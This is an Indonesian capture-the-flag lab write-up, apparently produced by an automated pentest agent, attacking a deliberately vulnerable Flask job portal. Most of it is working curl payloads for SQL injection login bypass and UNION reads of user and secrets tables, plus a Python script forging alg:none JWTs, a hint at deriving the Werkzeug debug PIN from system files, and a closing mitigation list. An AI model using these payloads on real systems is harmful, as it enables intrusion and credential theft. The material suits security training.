Lab #6 - Job Portal: SQLi + JWT Forgery + Database Traversal
Target:
http://job.vuln.cybersecurity.or.id:8086/
Versi: Flask + Vue.js, Python 3.11, SQLite
Tools:curl, browser
Flag: 🔴FLAG{J0b_P0rt4l_P4th_Tr4v3rs4l_2025}
Filosofi Serangan
Job Portal adalah aplikasi berbasis Flask + Vue.js dengan database SQLite. Aplikasi ini memiliki rantai kerentanan yang memungkinkan attacker naik dari user biasa hingga RCE:
- SQL Injection - di search, login, dan job detail
- JWT Forgery - algoritma
nonediterima - Database Traversal - SQLi UNION untuk membaca tabel lain
️ Langkah 1: Reconnaissance
1.1. Fingerprint
curl -s -I http://job.vuln.cybersecurity.or.id:8086/ | head -10
Output:
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.11.15
Aplikasi menggunakan Flask (Werkzeug) - WSGI Python.
1.2. API Discovery
# Lihat daftar jobs
curl -s http://job.vuln.cybersecurity.or.id:8086/api/jobs | python3 -m json.tool
# Login API
curl -s -X POST http://job.vuln.cybersecurity.or.id:8086/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'
Output:
{"token":"eyJ...","user":{"username":"admin","role":"admin"}}
Langkah 2: SQL Injection
2.1. SQLi di Login
Endpoint /api/login rentan SQLi:
Source code:
q = f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'"
Eksploitasi:
# Login bypass
curl -s -X POST http://job.vuln.cybersecurity.or.id:8086/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin'"'"' OR '"'"'1'"'"'='"'"'1","password":"x"}'
2.2. SQLi di Search
Endpoint /api/jobs?search= rentan SQLi:
Source code:
q = f"SELECT * FROM jobs WHERE title LIKE '%{search}%' OR description LIKE '%{search}%'"
Eksploitasi - tampilkan semua data:
curl -s "http://job.vuln.cybersecurity.or.id:8086/api/jobs?search='+OR+'1'='1"
2.3. SQLi UNION - Baca Tabel Lain
Dengan UNION SELECT, kita bisa membaca tabel lain:
# Struktur tabel jobs: id, title, description, company, location, status, created_by = 7 columns
curl -s "http://job.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,username,password,4,5,6,7+FROM+users--"
Output:
[
{"title":"admin","description":"admin123","company":4,...},
{"title":"user1","description":"pass123","company":4,...},
{"title":"user2","description":"pass456","company":4,...}
]
2.4. Database Traversal - Baca Flag
Ini adalah Path Traversal dalam konteks database - kita traverse dari tabel jobs ke tabel
secrets:
curl -s "http://job.vuln.cybersecurity.or.id:8086/api/jobs?search='+UNION+SELECT+1,flag,3,4,5,6,7+FROM+secrets--"
Output flag:
{"title":"FLAG{J0b_P0rt4l_P4th_Tr4v3rs4l_2025}",...}
Langkah 3: JWT Forgery (alg: none)
3.1. Analisis JWT
Server menerima JWT dengan algoritma none:
Source code:
def parse_token(req):
parts = auth.split(".")
hdr = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
if hdr.get("alg") == "none":
return json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
3.2. Forge Token
Kita bisa membuat token dengan role admin tanpa perlu secret:
import json, base64
def b64url(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')
header = {"alg":"none","typ":"JWT"}
payload = {"user_id":1,"username":"admin","role":"admin","exp":9999999999}
forged_token = f"{b64url(header)}.{b64url(payload)}."
print(forged_token)
3.3. Gunakan Forged Token
curl -s -H "Authorization: Bearer <FORGED_TOKEN>" \
http://job.vuln.cybersecurity.or.id:8086/api/profile
Output:
{"claims":{"role":"admin","username":"admin","exp":9999999999,...}}
3.4. Akses Admin Endpoint
# Tanpa auth sekalipun, admin endpoint bisa diakses
curl -s http://job.vuln.cybersecurity.or.id:8086/api/admin/users
Output - semua user termasuk password:
[
{"username":"admin","password":"admin123","role":"admin"},
{"username":"user1","password":"pass123","role":"user"},
...
]
Langkah 4: Flask Debug Console (Path Traversal RCE)
4.1. Deteksi Debug Mode
curl -s http://job.vuln.cybersecurity.or.id:8086/console | head -5
Output:
<title>Console // Werkzeug Debugger</title>
Aplikasi berjalan dalam debug=True - Werkzeug interactive console tersedia!
4.2. PIN Console
Console membutuhkan PIN yang di-generate dari informasi mesin:
boot_id:/proc/sys/kernel/random/boot_id- MAC address
machine-id:/etc/machine-id
Dengan informasi ini, kita bisa menghitung PIN Werkzeug dan mendapatkan Python shell interaktif → full RCE + file read.
Poin Penting
Semua Kerentanan
| # | Kerentanan | Dampak |
|---|---|---|
| 1 | SQL Injection (login) | Bypass autentikasi |
| 2 | SQL Injection (search) | Baca tabel lain (traversal) |
| 3 | SQL Injection (job detail) | Baca data sensitif |
| 4 | JWT alg: none | Forge token tanpa secret |
| 5 | No auth on /api/admin/users | Siapa pun bisa lihat semua user |
| 6 | Debug Mode ON | Werkzeug console → RCE |
| 7 | Mass Assignment | Client set status job |
Cara Mitigasi
- Gunakan ORM/parameterized queries untuk SQL - jangan f-string!
- JWT: jangan pernah terima
alg: none- setalgorithms=["HS256"]dan validasi token - Nonaktifkan debug mode di production - set
debug=False - Auth pada setiap endpoint - jangan hanya di frontend (Vue.js)
- Validasi input - batasi UNION injection dengan white-list column
Kesimpulan
Target: Job Portal di http://job.vuln.cybersecurity.or.id:8086/
Attack Chain: SQLi Search → UNION → Database Traversal → Flag
Alternate: JWT alg:none → Admin → Data Exfil
Flag: FLAG{J0b_P0rt4l_P4th_Tr4v3rs4l_2025}
Durasi: ~5 menit
Urutan serangan:
- ✅ SQL Injection via search endpoint
- ✅ UNION SELECT dari
jobske tabelsecrets(database traversal) - ✅ Flag diekstrak dari tabel rahasia
- ✅ Bonus: JWT
alg: none→ akses semua admin endpoint
🔥 Pelajaran: SQL Injection di aplikasi Python/Flask sama berbahayanya dengan di PHP. Selalu gunakan parameterized query dan jangan pernah percaya JWT dengan algoritma
none. Debug mode wajib dimatikan di production!
Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy